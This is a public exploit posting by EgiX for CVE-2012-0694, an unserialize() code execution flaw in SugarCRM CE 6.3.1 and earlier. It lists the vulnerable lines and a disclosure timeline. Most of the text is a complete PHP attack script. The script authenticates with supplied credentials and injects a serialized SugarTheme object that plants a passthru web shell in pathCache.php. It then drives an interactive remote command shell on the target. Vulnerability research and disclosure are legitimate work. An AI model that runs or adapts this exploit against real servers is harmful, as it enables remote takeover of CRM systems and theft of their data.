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SugarCRM CE 6.3.1 PHP Code Execution

SugarCRM CE 6.3.1 PHP Code Execution
Posted Jun 25, 2012
Authored by EgiX

SugarCRM CE versions 6.3.1 and below suffer from an unserialize() PHP code execution vulnerability.

tags | exploit, php, code execution
advisories | CVE-2012-0694
MD5 | 4e1ff130d3e0520df25511c645de85f6

SugarCRM CE 6.3.1 PHP Code Execution

Change Mirror Download
<?php

/*
-------------------------------------------------------
SugarCRM CE <= 6.3.1 "unserialize()" PHP Code Execution
-------------------------------------------------------

author...........: Egidio Romano aka EgiX
mail.............: n0b0d13s[at]gmail[dot]com
software link....: http://www.sugarcrm.com/

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] Vulnerable code in different locations:

include/export_utils.php:377: $searchForm->populateFromArray(unserialize(base64_decode($query)));
include/generic/Save2.php:197: $current_query_by_page_array = unserialize(base64_decode($current_query_by_page));
include/MVC/Controller/SugarController.php:593: $_REQUEST = unserialize(base64_decode($temp_req['current_query_by_page']));
include/MVC/View/views/view.list.php:82: $current_query_by_page = unserialize(base64_decode($_REQUEST['current_query_by_page']));
modules/Import/Importer.php:536: $firstrow = unserialize(base64_decode($_REQUEST['firstrow']));
modules/ProjectTask/views/view.list.php:95: $current_query_by_page = unserialize(base64_decode($_REQUEST['current_query_by_page']));

The vulnerability is caused due to all these scripts using "unserialize()" with user controlled input.
This can be exploited to e.g. execute arbitrary PHP code via the "__destruct()" method of the "SugarTheme"
class, passing an ad-hoc serialized object through the $_REQUEST['current_query_by_page'] input variable.

[-] Disclosure timeline:

[31/10/2011] - Vulnerability discovered
[05/11/2011] - Vendor notified to secure(at)sugarcrm.com
[25/11/2011] - Vendor notified to http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/
[07/12/2011] - Vendor fix the issue on his own within 6.4.0 RC1 release
[10/01/2012] - CVE number requested
[12/01/2012] - Assigned CVE-2012-0694
[06/02/2012] - Issue addressed within 6.4.0 version
[23/06/2012] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");
fputs($sock, $packet);
return stream_get_contents($sock);
}

print "\n+------------------------------------------------------------+";
print "\n| SugarCRM CE <= 6.3.1 Remote Code Execution Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";

if ($argc < 5)
{
print "\nUsage......: php $argv[0] <host> <path> <username> <password>\n";
print "\nExample....: php $argv[0] localhost / sarah sarah";
print "\nExample....: php $argv[0] localhost /sugarcrm/ jim jim\n";
die();
}

list($host, $path) = array($argv[1], $argv[2]);

$payload = "module=Users&action=Authenticate&user_name={$argv[3]}&user_password={$argv[4]}";
$packet = "POST {$path}index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: PHPSESSID=1\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

$login = http_send($host, $packet);

if (preg_match("/action=Login/", $login)) die("\n[-] Login failed!\n");
if (!preg_match("/Set-Cookie: (.*) path/", $login, $sid)) die("\n[-] Session ID not found!\n");

class SugarTheme
{
protected $dirName = '../..';
private $_jsCache = '<?php error_reporting(0);passthru(base64_decode($_SERVER[HTTP_CMD])); ?>';
}

$payload = "module=Contacts&Contacts2_CONTACT_offset=1&current_query_by_page=".base64_encode(serialize(new SugarTheme));
$packet = "POST {$path}index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet = "GET {$path}pathCache.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
print "\nsugar-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match('/s:72:"(.*)";s:8/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

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